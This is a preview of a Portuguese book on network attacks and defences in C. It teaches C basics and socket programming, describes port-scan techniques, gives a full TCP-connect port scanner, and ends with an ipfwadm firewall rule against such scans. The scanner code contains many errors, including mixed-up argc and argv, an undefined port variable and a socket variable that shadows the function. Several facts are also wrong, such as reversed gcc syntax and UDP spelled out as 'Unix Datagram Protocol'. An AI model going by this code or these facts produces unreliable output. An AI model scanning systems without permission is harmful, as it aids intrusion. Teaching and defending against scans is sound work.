Buscar

Invasão de Redes - Ataques e Defesas - Linguagem C

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você viu 3, do total de 50 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você viu 6, do total de 50 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você viu 9, do total de 50 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Prévia do material em texto

INTRODUÇÃO
Este livro vem trazer aos amantes da segurança de computadores algumas formas de se criar ferramentas utilizadas por Hackers em suas apreciadas e complexas invasões de sistemas, assim como se proteger das mesmas. Como utilizar a linguagem de programação C para a criação de PortScaners, Backdoors, Flooders e muito mais. Serão introduzidos também alguns conhecimentos sobre a programação de Sockets e conexão entre computadores, assim como suas utilizações. Uma coletânea de Informações, funções e alguns trechos de códigos se encontraram no final do livro e é algo será de inteira importância para que se possa seguir sozinho no mundo da segurança de computadores. Todo o conteúdo é inteiramente educacional e visa desmistificar o fantástico mundo underground da Internet. Sabendo como os Hackers criam suas próprias ferramentas para invasão e entendendo como pensam, fica mais fácil para o administrador de redes encontrar soluções certas para impedir o possível ataque, interno e externo.
Um Pouco De História 
A incrível linguagem de programação C foi criada por Dennis M. Ritchie e Ken Thompson no Laboratório Bell em 1972, baseado na linguagem B de Thompson, que era uma evolução da antiga BCPL. O C é uma linguagem de programação genérica que é utilizada para criação de programas diversos como processadores de texto, planilhas eletrônicas, sistemas operacionais, programas de comunicação, programas para a automação industrial, gerenciadores de bancos de dado, programas da Engenharia, Física, Química e outras Ciências, etc.
	A linguagem C tornou-se muito popular devido as seguintes características:
O C é uma linguagem de alto nível e com uma sintaxe bastante estruturada e flexível, tornando assim sua programação bastante simplificada e objetiva.
Programas em C, após sua compilação, dão origem a programas executáveis.
O C compartilha recursos tanto de alto quanto de baixo nível, pois permite acesso e programão direta do microprocessador.Com isso, rotinas cuja dependência do tempo é critica podem ser facilmente implementadas usando instruções em Assembly.
O C é uma linguagem estruturalmente simples e de grande portabilidade. O compilador C gera códigos mais enxutos e velozes do que muitas outras linguagens de programação.
Embora estruturalmente simples(poucas funções intrínsecas) o C não perde funcionalidade pois permite inclusão de uma farta quantidades de rotinas do usuário. Os fabricantes de compiladores fornecem uma ampla variedade de rotinas pré-compiladas em bibliotecas.
Como uma ferramenta poderosa, a linguagem C é usada na construção de vários aplicativos como sistemas operacionais, planilhas eletrônicas, processadores de texto, sistemas de transmissão de dados, entre outros. Um exemplo clássico é o sistema UNIX, o qual foi implementado em C.
 	No início da década de 80, a linguagem C é padronizada pelo American National Standard Institute: o ANSI C.
Estrutura Básica de um Código em C 
A geração do programa executável a partir do programa-fonte obedece a uma sequência de operações antes de torna-se um executável. Depois de escrever o código-fonte em editor de textos, o programador aciona o compilador. Essa ação desencadeia uma sequência de etapas, cada qual traduzindo a codificação do usuário para uma forma de linguagem de nível inferior, que termina com o executável criado pelo linkador.
 Um programa C consiste em uma ou várias “funções”. Baseado nesta afirmação, deve existir um mecanismo que garante que todos os programas se inicializem da mesma forma. Este mecanimo pode ser entendido a padronização da função que será chamada primeiramente. Tal função chama-se main().
Sintaxe:
main() primeira função a ser executada
{	inicia o corpo da função
}	termina o corpo da função
A seguir, relaciono algumas regras para a programação em C:
Toda função C deve ser inicia e encerrada por um abre chaves e um fecha chaves, respectivamente.
O nome da função, os parênteses e as chaves são os únicos elementos obrigatórios de uma função.
Todas as instruções estar dentro das chaves.
As instruções C são sempre encerradas por um ponto-e-vírgula.
Tipos de Dados
Em C existem 5 tipos de variáveis básicas. Veja a tabela abaixo:
Tipos de dados básicos
	TIPO
	BIT
	FAIXA MÍNIMA
	Char
	8 
	-128 a 127
	Int 
	16
	-32768 a 32767
	Float
	32
	3.4E-38 a 3.4E+38
	Double
	64
	1.7E-308 a 1.7E+308
	Void
	0 
	Sem valor
	Como exceção de void, os tipos de dados básicos podem estar acompanhados por modificadores na declaração de variáveis. Os modificadores de tipos da linguagem C são:
Signed 
Unsigned 
Long	
Short
Os modificadores signed, short, long e unsigned podem ser aplicados aos tipos básicos caractere e inteiro. Porém, long também pode ser aplicado a double. A tabela a seguir mostra as combinações de tipos de dado:
Utilizando dos modificadores de tipos de dados:
	TIPO
	BIT
	FAIXA MÍNIMA
	Unsigned char
	8
	0 a 255
	Signed char
	8 
	-128 a 127
	Unsigned int
	16
	0 a 65535
	Signed int
	16
	0 mesmo que int
	Short int 
	16
	O mesmo que int
	Unsigned short int
	16
	0 a 65535
	Signed long int 
	16
	O mesmo que short int
	Long int 
	32
	-2.147.483.646 a 2.147.483.647
	Signed long int
	32
	-2.147.483.646 a 2.147.483.647
	Unsigned long int
	32
	0 a 4.294.967.925
	Long double
	128
	Des dígitos de precisão
	
	
O uso de signed com inteiros é redundante. No entanto, ele é permitido porque a declaração default de inteiros assume um número com sinal. O uso mais importante de signed é modificar char em implementações em que esse tipo, por padrão, não tem sinal. Algumas implementações podem permitir que unigned seja aplicado aos tipos de ponto flutuante(como em unsigned double).Porém, isso reduz a probabilidade de seu código e geralmente não é recomendado. O modificador unsogned altera o valor da faixa mínima do tipo através do uso do bit mais significativo(indicador de sinal).
	Quando o sistema operacional é de 32 bits, o tipo int será o único a ser alterado, pois ele passa de 2 bytes para 4 bytes de armazenamento. Isto também faz com que o intervalo de valores seja aumentado.
Veja o exemplo no código a baixo:
main()
{
int quantidade;
char tamanho;
float total;
quantidade = 2; tamanho = `g’; total = 20.70;
printf(“comprei %d de camisas de tamanho %c.”, quantidade, tamanho);
printf(“\nNo total, peguei r$ %f.”, total);
}
	O código acima em execução teria uma saída da seguinte forma:
Comprei 2 camisas de tamanho G.
No total, paguei R$ 20,70.
Variáveis
Variáveis em C é um espaço de memória reservada para armazenar um certo tipo de dado e tendo em nome para referenciar o seu conteúdo. O conteúdo da mesma pode variar segundo os comandos de alteração do programa.
	Exemplo:
main() 
{
	int ano;
ano = 1972;
printf(“a linguagem C foi criada em %d”, ano);
	}
	
	Repare na instrução:
	Int ano;
	Este é um exemplo de declaração de variável, isto é, apresenta um tipo, int, e um nome, ano.
	Agora, a segunda instrução:
	Ano = 1972;
	Atribui um valor a variável e este valor será acessado através de seu nome. Para realizar isto foi usado o operador de atribuição(=).
Regras para a Criação de Variáveis:
Uma variável não pode o mesmo nome de uma palavra-chave de C.
Letras maiúsculas diferem das letras minúsculas.
Caráter valida são definidos de ambiente para ambiente.
Caracteres validos em um ambiente Unix podem não ser válidos em um Windows, por exemplo.
Declaração das Variáveis
A declaração de variáveis serve para reserva uma quantidade de memória apropriada para armazenar o tipo especificado. Tal declaração consiste no nome de um tipo, seguido do nome da variável. Em C todas as variáveis devem ser declaradas.
 	Se existir mais de uma variável do mesmo tipo, pode-se declará-la de uma vez separando seus nomes por vírgulas.
Int ano, mês, dia;
Tipos de DeclaraçõesO tipo de declaração de variáveis é definido pela localização onde a mesma é declarada. Existem três lugares básicos: dentro de funções e fora de todas as funções. Estas são variáveis locais, parâmetro formais e variáveis globais, respectivamente. 	
Variáveis Locais
Variáveis que são declaradas dentro de uma função. Tais variáveis só podem ser referenciadas por comandos que estão dentro do bloco no qual as variáveis foram declaradas, isto é, não são reconhecidas fora de seu próprio bloco de código(função).
Exemplo:
void main()
{
int numero;
numero = 10;
}
Variáveis Globais
Variáveis que são declaradas fora de qualquer função. Tais variáveis são reconhecidas pelo programa inteiro e podem ser usadas por qualquer pedaço de código.
Exemplo:
Int num=10;
Void main()
{
Printf(“%d”, num * num);
}
Funções 
A definição de função pode ser a de um conjunto de instruções agrupadas em um bloco. A forma geral de uma função é:
tipo_de_retorno nome_da_função(lista de argumentos)
{
código_da_função
}
	Para funções sem parâmetros, não haverá lista de argumentos, porém deve vir sempre acompanhada dos parêntese().
Exemplo do uso de funções:
#include <stdio.h>
Void oi()
{
	Printf(“OI!\n”);
} 
Void main()
{
Oi();
Printf(“ Sou um programador\n”);
}
Algumas Peculiaridades das Funções:
Uma função pode ser utilizada várias vezes em um mesmo programa ou em vários programas precisando ser escrita uma única vez, permitindo ao programador localizar e corrigir eventuais erros mais rapidamente.
O uso de funções permite que o programa fique mais legível, mais bem estruturado, evitando a repetição de linhas de códigos.
As funções retornam um valor(do tipo indicado em tipo_função). O valor retornado pela função é dado pelo comando return(o valor retornado pode ou não ser utilizado).
Existem dois tipos de passagem de argumentos: por valor e por referência. A segunda é realizada através de apontadores.
Exemplo:
int pot(x,n) /*x elevado na potência*/
int x,n;
{
int p;
for(p=1;n>0;n-)
p *= x;
return p;
}
No exemplo anterior, os argumentos foram passados por valor e a função retorna um valor do tipo inteiro. A chamada seria:
a = pot(10,2);
Outro exemplo:
void troca(a,b) //troca os valores das variáveis 
int *a, *b; 	//usa-se ponteiros para referenciar
{
int aux;
aux = *a;
*a = *b;
*b = aux;
}
A chamada para esta função seria:
int x=1,y=2;
troca(&x,&y);
Na passagem de paramentos por referência, é passado explicitamente o endereço da variável como uso do operador &.
Quanto o argumento for uma matriz, automaticamente será passado o endereço da matriz para a função.
A linguagem C aceita chamadas recursivas de funções.
Localização das Funções
Existem basicamente duas posições possíveis para escrevemos o corpo de uma função: antes ou depois do programa principal. Podemos ainda escrever uma função no mesmo arquivo do programa principal ou em arquivo separado.
Corpo Da Função Antes Do Programa Principal(No mesmo Arquivo)
	Quanto escrevemos a definição de uma função antes do programa principal e no mesmo arquivo deste, nenhuma outra instrução é necessária.
Exemplo:
Float media2(float a, float b) 	//função 
{
Float med;
Med = (a + b) / 2.0;
Return(med);
}
Void main()			//programa principal 
{
Float num_1, num_2, med;
Puts(“Digite dois numeros: ”);
Scanf(“%f %f”,&num_1, &num_2);
Med = media2(num_1, num_2); //chama a função
Printf(“\nA media destes numeros e %f”, med);
}
Corpo Da Função Depois do Programa Principal(NO MESMO ARQUIVO)
Quando escrevemos a definição de uma função depois do programa principal e no mesmo arquivo deste, devemos incluir um protótipo da função chamada. Protótipo é uma instrução que define o nome da função, seu tipo de retorno e a quantidade e o tipo dos argumentos da função. O protótipo de uma função indica ao compilador quais são as funções usadas no programa principal os tipos. A sintaxe geral para isto é a eguinte:
	Sintaxe: 
void main(){	//programa principal
 tipo nomef(…);	//protótipo da função
 …
 var = nomef(…)	//chamada a função
…
}
tipo nomef(…){	//definição da função
[corpo de função]
}
 Exemplo:
void main(){	//programa principal
float media2(float,float); //protótipo de media2()
float num_1,num_2,med;
puts(“digite dois números: ”);
scanf(“%f %f”, &num_1,&num_2);
med = media2(num_1,num_2); //chamada a função
printf(“\na media destes números e %f”, med); 
}
	float media2(float a, float b){ //função media
float med;
med = (a + b) / 2.0;
return(med);
}
	Observe que o protótipo de uma função nada mais é que a declaração da função sem o seu corpo. Observe ainda que na lista de argumentos do protótipo podem ser escritas apenas os tipos dos argumentos.
Bibliotecas
Para não ter que criar programas grandes devido a link edição de um arquivo objeto a linguagem inclui as bibliotecas para que no momento da compilação seja gerado um programa com as funções utilizadas. 
	Para fazer isto, usa-se uma diretiva de compilação a qual é colocado fora de qualquer função do programa. A direita é #include que instrui o computador a ler outro arquivo-fonte.
	Sintaxe:
 
#include nome_arq
 Onde:
Nome_arq tem que estar entre aspas ou símbolos de maior ou menor
Em algumas plataformas existe somente uma das formas. No caso da plataforma DOS/Windows 95, aspas significa para o compilador que a biblioteca em questão deve ser buscada primeiramente no diretório atual e depois no diretório padrão do turbo ou pelas variáveis de ambiente. Também, os caracteres “<>” significam para o compilador que deve procurar somente no diretório padrão ou nos diretórios definidos pelas variáveis de ambiente.
	Exemplo:
#include <stdio.h>
	Não se usa ponto-e-vírgula após diretivas de compilação. Este tipo de declaração é muito usado nos programas profissionais. Cada comando predefinido em C está protótipo em alguma biblioteca (isto é formado conjunto ao comando). 
 
O Básico sobre Sockets e Conexões
O que são Sockets 
Um socket pode ser um programa, ou rotinas de programas, que permite a comunicação, interligação e troca de dados entre aplicações. Por exemplo, quando é feito uma conexão com a pagina da internet, um socket é criado e é estabelecida a conexão entre a origem e o destino. Um socket é identificado na internet como um todo por dois números: o primeiro é o endereço IP, 32 bits, o qual identifica uma máquina, sendo portanto exclusivo. Ele consiste de octetos pontuados, por exemplo 168.72.250.11 . O segundo número é a porta, de 16 bits. Uma conexão entre dois sockets deve possuir um par (endereço IP, porta) para o socket local e outro par para o socket remoto.
 Como o endereço IP é difícil de ser lembrado, embora fácil de ser manipulado pelos computadores, pode-se usar o DNS (Domain Name System ou Sistema de Nomes de Domínios) para facilitar o uso dos recursos em rede pelos usuários. Desta forma, especifica-se a máquina pelo nome e o computador encontra o endereço IP relacionado àquele nome consultando o servidor de DNS local. A porta indica para onde os dados recebidos da rede serão direcionados, associando cada programa a um número diferente. Isso também ocorre quando os dados são enviados, para que o programa de origem receba o número da porta para a comunicação. Alguns números de porta são reservados no TCP/IP para protocolos específicos, como 25 para SMTP e 80 para HTTP, além de outras para TELNET, FTP, etc. Os números de porta abaixo de 1024 são reservados para o super-usuário (Administrador) de cada computador.
Tipos de Sockets 
Quando um socket é criado, o programa tem que especificar o domínio do endereço e o tipo do socket. Dois processos podem comunicar-se desde que os seus sockets sejam do mesmo tipo e o mesmo domínio. Há dois domínios do endereço extensamente usados, o domínio de UNIX, em que dois processos que compartilham de um sistemade linha comum se comunicam, e o domínio Internet, em que dois processos a funcionar em quaisquer dos hosts na Internet se comunicam. Cada um desses tem seu próprio formato de endereço.
 O endereço de um socket no domínio de Unix é uma string de caracteres que é basicamente uma entrada no sistema de ficheiros.
 O endereço de um socket no domínio Internet consiste no endereço na Internet da máquina anfitriã (cada computador na Internet tem um endereço original de 32 bits, geralmente referido como seu IP ADDRESS). Além disso, cada socket necessita de um numero de porta de comunicação nesse host. Os números portuários são de 16 bits para inteiros sem sinal. Os números mais baixos são reservados em UNIX para serviços padrão. Para o exemplo, o número portuário para o FTP SERVER é o 21. É importante que os serviços que os serviços padrão estejam na mesma porta em todos os computadores de modo que o clientes saibam seu endereços. Entretanto, os números portuários acima de 2000 estão geralmente disponíveis.
 Há dois tipos do socket: os stream sockets e datagram sockets. Os stream sockets tratam comunicações como uma sequência contínua de caracteres, enquanto os datagram sockets têm que ler mensagens inteiras de uma vez. Cada um usa seu próprio protocolo de comunicação. Os stream sockets usam o TCP (Transmission Control Protocol), que é confiável, e os datagram sockets usam o UDP (Unix Datagram Protocol), que é pouco confiável e orientado para mensagens.
Declaração, Estrutura e Construção
Um Socket é um int que pode ser declarado normalmente. Por exemplo, poderíamos declarar o socket MeuSocket da mesma forma que declararíamos a int MinhaInt.
 É na estrutura do Socket que e encontra os dados necessários do host, o quais se quer comunicar. A estrutura usada para conexões na internet é a sockaddr_in, que possui a seguinte declaração:
struct sockaddr_in{
	short int sin_family;	//familia do endereço endereço
	unsigned short int sin_port; //porta
	struct in_addr sin_addr;	//host
	unsigned char sin_zero[8];	//zera a estrutura 
} 
Onde sin_family pode ser:
AF_INET (ARPA INTERNET PROTOCOLS) – “A mais usada”
AF_UNIX (UNIX INTERNET PROTOCOLS) 
AF_ISO (ISO PROTOCOLS)
AF_NS (XEROX NETWORKS SYSTEM PROTOCOLS)
Um breve exemplo de sua declaração ficaria assim:
main()
{
… 
int meusocket;
struct sockaddr_in endereço;
…
} 
	A declaração completa dos dados da mesma estrutura sockaddr_in em um programa pode ser, por exemplo, como a seguinte:
main()
{
...
struct sockaddr_in endereço;
endereço.sin_family = af_inet;
endereço.sin_porta = htons(porta);	//porta do serviço a se conectar 
endereço.sin_addr.s_addr = inet_addr(host);	//endereço a se conectar
...
} 
	A chamada para a função que cria de fato o socket tem a seguinte definição:
Int socket = socket(sin_family, Tipo, Numero_protocolo);
Onde:
	Tipo: SOCK_STREAM OU SOCK_DGRAM;
	Numero_protocolo: Número referente ao protocolo a ser utilizado;
Tabela de enumeração dos Protocolos
	0 – IP – INTERNET 
	1 – ICMP – INTERNET CONTROL MESSAGE PROTOCOL
	2 – IGMP – INTERNET GROUP MULTICAST PROTOCOL
	3 – GGP – GATEWAY-GATEWAY PROTOCOL
	6 – TCP – TRANSMISSION CONTROL PROTOCOL
	17 – UDP – USER DATAGRAMA PROTOCOL
	A seguir, um trecho de código contendo a estrutura, a declaração e a construção:
...
main()
{
int meusocket;
struct sockaddr_in endereço;
meusocket = socket(af_inet,sock_stream,0);
endereco.sin_family = af_inet;
endereço.sin_port = htons(80);
endereço.sin_addr.s_addr = inet_addr(“www.site.com.br”);
...
}
Função Connect
A função connect () estabelece uma conexão com o destino (host) associando o endereço de destino ao socket local. Como efeito colateral, associa também o endereço local e uma porta local(não reservada) ao socket local. A função connect(); retorna 0, caso a conexão seja concretizada e -1, caso a conexão falhe.
	Sua definição segue na seguinte forma:
Int conector;
Conector = connect(socket,endereço_destino,tamanho);
Onde,
Socket: o socket previamente criado
Endereco_destino: estrutura de dados que especifica o endereço de destino (sockaddr_in).
Tamanho: número de bytes da estrutura.
Um exemplo de uso da função connect();
...
main()
{
int meusocket;
struct sockaddr_in endereço;
int conector;
meusocket = socket(af_inet,sock_stream,0);
endereço.sin_family = af_inet;
endereço.sin_port = htons(80);
endereço.sin_addr.s_addr = inet_addr(“www.site.com.br”);
conector = connect(meusocket,(struct sockaddr *)&endereço, sizeof(endereço));
if (conector < 0 ){
perrot(“connect”; exit(1); } }
 
Função Bind()
Une um nome e porta ao socket. De modo bem prático, essa função serve para associar uma porta da máquina local ao seu socket. Esta função é geralmente usada em conjunto com as funções listen() e accept(). A função bind() tem papel fundamental na escrita de programas servidores.
	A função bind() possui a seguinte sintaxe:
Bind(int socket, struct sockaddr *local, int addrlen); 
Onde,
	Socket: o socket utilizado para iniciar conexões.
	Local: estrutura contento informações da máquina local. Como porta, endereço, a família da estrutura, etc.
	Addrlen: tamanho da estrutura. Geralmente se usa sizeof(struct sockaddr).
Função Listen()
Esta função é utilizada para fazer com que a porta fique aguardando uma conexão com outro socket.
	Sua sintaxe é:
Int listen(int ssocket, int backlog);
Onde, 
	Socket: o Socket habitual.
	Backlog: um número inteiro responsável pelo total de conexões que serão permitidas para o serviço.
Função Accept()
Função responsável por aceitar conexão com outro socket. Um socket cliente pede permissão a um socket servidor para que ambos se comuniquem. Esta função será a que decidirá o futuro da conexão.
	Sua sintaxe é:
Int accept(int socket, struct sockaddr *remote, socklen_t *len); 
Onde, 
	Socket: socket
	Remote: estrutura contendo informações sobre o programa cliente, ou seja, o que está requisitando a conexão.
	Len: Tamanho da estrutura. Utiliza-se sizeof(struct sockadd_in) 
Finalidade 
Os Port scanners são programas que percorrem as principais portas e serviços do sistema em busca de respostas. Um exemplo similar seria uma pessoa percorrendo uma rua e indo de porta em porta das casas, verificando se dono deixou alguma aberta. Existem inúmeros tipos de scanners, e eles são de grande ajuda tanto para hackers como para administradores de sistemas. Os mais populares são de domínio público(GPL), porém também existem scanners comerciais disponíveis(normalmente para a plataforma Microsoft). Para o administrador, conhecer as fraquezas do sistema é algo fundamental, pois cedo ou tarde alguém de fora vai bater à sua porta. Quando isso acontecer, é bom estar preparado.
	Periodicamente, são lançados scanners que detectam as vulnerabilidades mais recentes. Cabe ao administrador providenciar a correção antes que explorem qualquer vulnerabilidade do sistema. Observe que um scanner só detecta o problema; raros são aqueles que automaticamente se aproveitam da falha para obter algum nível de acesso.
Diferente Tipos
Como a utilização de PortScanner por invasores de sistemas (Crackers) cresce a cada dia, diferentes técnicas de portscaning foram desenvolvidos para tentar driblar a proteção criada pelos gerentes de segurança de redes para interceptar a técnica. Os tipos de scanner são: 
Tcp Connect Scan
Este tipo de scanner e conecta à porta e executa os três hand-shakes básicos(SYN, SYN/ACK e ACK). Ele é facilmente detectável.
Tcp SYN Scan
Conhecido como half-open scanning, devido à conexão total TCP durante a operação. Deste forma, evita que o log da operação fique no sistema. Normalmente, o programa envia um pacote SYN para a porta-alvo. Se é recebida um SYN/ACK do alvo, o programa deduz que a porta está no modo de escuta; caso seja um RST/ACK, significa que a porta não está ativa naquele momento. 
UDP Scan
Trata-se de um dos processosmais lentos de scanning, pois depende de fatores de utilização da envia um pacote UDP para a porta-alvo, se a resposta for ICMP port unreachable, a porta encontra-se fechada, caso contrário, o scanner deduz que a porta está aberta.
Tcp Null Scan
Neste caso, o scanner desativa todos os flags e aguarda do alvo um RST para identificar todos as portas fechadas. Baseado na RFC 793. 
 
Tcp FIN Scan
O scanner envia pacotes FIN para a porta-alvo a espera o retorno de um RST para as portas fechadas. Baseado em RFC 793.
Tcp XMAS TREE Scan
Neste caso, o scanner envia pacotes FIN, URC, e Push para a porta-alvo e espera o retorno de um RST para as portas fechadas. Baseando também RFC 793.
	Para nossa criação, trabalharemos apenas com os do tipo 1.
Criando um Portscanner TCP Connection
O Portscanner TCP Connection consiste em um programa que tenta abrir conexões com um número X de serviços (portas) remotas. Esta tentativa de conexão é realizada individualmente e progressivamente, ou seja, o portscanner tentará se conectar com a porta 1 do endereço remoto. Após este processo, uma mensagem informando o estado da porta será repassado ao usuário. Logo após tentará a conexão com a porta 2 e o processo se estenderá desta forma sucessivamente até chegar ao valor X.
Definindo as Bibliotecas
Como o Portscanner está sendo escrito na plataforma Linux, as bibliotecas necessárias para a criação do programa são:
	Stdio.h
	Sys/types.h
	Stdlib.h
	Netinet/in.h
	String.h
	Sys/signal
	Unistd.h
	Errno.h
	Sys/socket.h
	Netdb.h
A compilação
Após todo o código-fonte ter sido criado e explanado, compilaremos o mesmo usando o gcc. A compilação poderá ser executada na Shell do sistema e sua sintaxe será:
 	$ gcc –o código-fonte.c nome_do_executavel 
Porta Inicial e Final
É necessário que se defina o intervalo de portas que o Portscanner irá tentar conectar e verificar seu estado. Este intervalo necessita ser crescente e pode variar de acordo com a necessidade do uso do programa. Por exemplo, caso se queira verificar quais portas estão abertas entre as portas 1 e 100, este será o intervalo. Porém, este intervalo poderia ser entre 50 e 53, caso a necessidade estivesse em verificar quais portas estão abertas entre a porta 50 e 53.
	A definição da porta inicial e final pode ser feita da seguinte forma:
...
Int Porta_Inicial = numero_da_porta_inicial;
Int Porta_final = numero_da_porta_final;
...
	Por exemplo, a definição para uma porta inicial 1 e uma final 6000 ficaria:
Int inicial = 1;
Int final = 6000;
Incremento
Após a definição das portas inicial e final, se faz necessário a construção de um loop for para que o Portscanner tenha a capacidade de tentar se conectar com as portas do intervalo uma a uma. É preciso que se defina uma variável para o incremento do loop. Um corpo de um incremento para o Portscanner apresentaria se da forma:
Int inicial = 1;
Int final = 6000;
int incremento;
for(incremento = inicio; incremento<final; incremento++)
{
...
}
	 
	Com o código acima, o valor da variável de incremento dentro do loop crescerá de 1 a 6000, sequencialmente, possibilitando assim que o Portscanner possa tentar se conectar com cada porta do intervalo.
Definindo o Banner
Uma mensagem de apresentação e utilização do programa será necessária. Esta mensagem poderá ser criada simplesmente com a utilização da função de saída printf();
	Nosso banner consistirá na seguinte sequência: 
 
Printf(“---------------------------------------------------------------\n”);
Printf(“........... PortScanner TCP Connection v1.0 .........\n”);
Printf(“---------------------------------------------------------------\n”);
Printf(“Uso: PortScanner <HOST> ..................................\n”);
Repassando a Variável Host
Pra que o Portscanner possa se conectar, é necessário que lhe seja indicado o endereço. Isto pode ser repassado diretamente pelo usuário, mas para isto seja possível deve-se fazer com que o programa capture os dados inseridos pelo usuário na linha de comando. Assim sendo, criaremos uma variável para armazenar o endereço inserido pelo usuário. A variável pode ser definida, por exemplo:
Char = endereço;
Endereço = argv[1];
	Onde a matriz argv[1] corresponde ao endereço de destino inserido pelo usuário na linha de comando na execução do programa e é definida na função main() da seguinte forma:
Main (int argv, char *argv[])
{
...
}
Criando o Socket e a Estrutura sockaddr_in
Para a fase de criação do socket, iremos precisar de:
	1 int para a declaração da variável que identificaremos o socket; 1 struct sockaddr_in para as informações da conexão;
	Algo como:
	Int Socket;
	Struct sockaddr_in destino;
	Para a criação do socket teremos então:
	Socket = socket(AF_INET, SOCK_STREAM,0);
	Dentro da estrutura sockaddr_in definiremos as informações da seguinte maneira:
	Destino.sin_family = AF_INET;
	Destino.sin_port = htons(incremento);
	Destino.sin_addr = inet_addr(destino);
Onde,
	Incremento é a variável responsável pelo incremento do loop já mencionado acima.
	Destino é o endereço com qual se deseja conectar.
Juntando as Peças
Agora, com a maioria das partes do código já definidos, vamos para o fonte completa do nosso Portscanner TCP Connection.
	A seguir, o Portscanner TCP Connection completa, com suas partes comentadas e funções adicionais:
/*Portscanner TCP Connection v1.0 */
/*Declaração da biblioteca usada pelo programa*/ 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <errno.h>
#include <netdb.h>
/*Inicio do programa. Função main()*/
main(int argv, char *argv[])
{
int incremento; 	 //variável para o incremento
int socket; 		//variável para a criação do ssocket
int conexao;		//variável para o processo de conexão
int inicio = 0;		//variável correspondente a porta inicial
int final = 65000;	//variável correspondente a porta final
char *endereco;	//variável que armazena o endereço a se conectar
struct sockaddr_in destino;	//declaração da estrutura para as informações sobre o destino
/*Código responsável por ler o endereço digitado pelo usuário na linha de comando*/ 
if(argc > 1)
{
endereco = argv[1]; 	//Copia o valor digitado para a variável endereço
}
/*Parte responsável por imprimir o banner na tela caso não seja digitado o endereço*/
if (argc == 1)
{
printf(“------------------------------------------------------\n”);
printf(“.... portscanner tcp connection v1.0 .....\n”);
printf(“------------------------------------------------------\n”);
printf(“uso: portscanner <host>......................................\n”);
exit(0);
} 
/*Impressão de mensagem indicando o início do processo de verificação*/
printf(“Verificando %s. porta inicial : %d porta final: %d\n”, endereco, inicio , final);
// Inicio do Loop de processo
//Criando o incremento nas portas
for (incremento=inicio; incremento<final;incremento++)
{
//Criando o socket
socket =socket(af_inet,sock_stream,0);
destino.sin_family = af_inet;
destino.sin_port = htons(i);
destino.sin_addr.s_addr = inet_addr(endereco);
bzero(&(destino.sin_zero),8);
//Abrindo a conexão
conexao = connect(socket,(struct sockaddr *)&destino, sizeof(destino));
//verificando se o resultado é < 0. Caso sim a porta esta fechada.
if (conexao < 0){
	close(conexao);
	close(socket);
}
//Caso contrario a porta está aberta
else{
//Imprimi a mensagem mostrando a porta aberta 
printf(“Porta: %d – STATUS [ABERTA]\n”, incremento);
 close(conexao); //fecha a conexão
	close(socket); //fecha o socket
	}
}
return 0;
}	
}
 
Protegendo-se Contra PortScanner TCP Connection
Para se entender como proteger um sistema de ataques de Portscanner é necessário antes ter em mente as seguintes afirmações:
Todo o sistema que disponibiliza um serviço para usuáriosprovenientes da Internet deverá ter uma porta aberta em seu computador.
A maioria dos programas utilizados pra servir usuários provenientes da Internet ou até mesmo da rede local possuem portas padrão.
95% dos programas de PortScanning disponíveis da Internet procuram por portas padrão.
Toda porta pode ser fechada e suas conexões canceladas ou rejeitadas.
Por exemplo, para se evitar um Portscanner TCP connection, poderíamos filtrar as conexões externas da rede, ou seja, rejeitar conexões de computadores da Internet para as portas ou serviços específicos.
	Mas para que isso seja possível, é preciso que se utilize uma ferramenta chamada IPFW. O IPFW é um filtro de pacotes nativos no kernel de alguns sistemas operacionais – entre eles, o Linux e o FreeBSD, - sistemas abertos bem conhecidos. Um administrador pode elevar o nível de proteção de sua rede interna, caso o IPFW seja instalado no gateway da mesma.
	Até mesmo um usuário comum preocupado com a sua segurança pessoal pode utilizá-lo para proteger seu próprio PC, rodando Linux, de conexões indesejáveis. Por ser parte de pacotes de software de livre distribuição, nenhum dos dois terá algum ônus financeiro por utilizar este filtro.
Exemplo de Proteção 
Para demonstrar um exemplo real de como se proteger, imaginaremos a seguinte situação:
	Uma máquina na Internet possui os seguintes serviços:
- FTP
- Páginas WEB
- SMTP
- POP
- FINGER
- WHOIS
- TELNET
	Se um usuário mal intencionado utilizasse o nosso Portscanner e fizesse uma verificação nesta máquina, iria constatar que todas as portas acima estavam abertas. Porém, esta máquina quer que os usuários provenientes da Internet tenham apenas acesso aos serviços de ftp e páginas web. Todos os outros serviços deverão estar ocultos para estes clientes externos. Caso fosse feito um ataque de Portscanner deveriam constar somente as portas que a máquina permitiu.
	Para que se consiga efetuar esta tarefa, utilizaremos o Ipfwadm, que é o programa que inclui regras de proteção para IPFW, da seguinte forma:
Na Shell do Linux digite:
/sbin/ipfwadm –I –p deny
	Este comando configura a política default de entrada de pacotes como deny.
